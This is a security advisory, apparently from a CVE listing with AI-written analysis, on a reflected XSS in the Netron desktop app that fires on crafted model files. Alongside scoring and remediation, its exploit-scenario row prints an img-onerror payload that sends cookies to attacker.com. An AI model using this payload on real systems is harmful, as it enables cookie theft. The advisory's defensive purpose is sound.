AV:L because the attack requires opening a crafted local file; UI:R for that required user action; C:H for port scanning and renderer data exposure; I:L for node visibility manipulation; S:U since breaking to host requires a separate n-day.

Reflected XSS in Netron versions <=9.1.2 on desktop application through unsanitized node names allows an attacker to hide certain nodes, perform port scanning or abuse a Chrome n-day to achieve Remote Code Execution.
AnalysisAI
Reflected XSS in Netron ≤9.1.2 desktop application executes attacker-controlled JavaScript when a user opens a specially crafted ML model file containing malicious node names, descriptions, or type labels. Because Netron is Electron-based, XSS runs in a privileged Chromium renderer context - enabling SSRF-style local port scanning and, when chained with an unspecified Chrome n-day vulnerability, potential remote code execution on the host. …

Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the victim to open a malicious model file in the Netron desktop application (UI:P - passive user interaction). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 6.8 with AV:L reflects that exploitation requires a user to open a malicious file, appropriately scoping this as a local attack. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker embeds a JavaScript payload (e.g., `<img src=x onerror=fetch('http://attacker.com/?d='+btoa(document.cookie))>`) into node names within a crafted ONNX or TensorFlow model file and uploads it to a public model repository or sends it via phishing. When an ML engineer opens the file in Netron ≤9.1.2 desktop, the payload executes in the Chromium renderer, enabling port scanning of the local network. … |
| Remediation | Update Netron to a version that incorporates upstream commit cd14bad8c9132b1aaf1d197fe61925575f194f00 (https://github.com/lutzroeder/netron/commit/cd14bad8c9132b1aaf1d197fe61925575f194f00), which adds HTML escaping to all affected innerHTML assignments and tightens the CSP with frame-src 'none'. … Detailed patch versions, workarounds, and compensating controls in full report. |
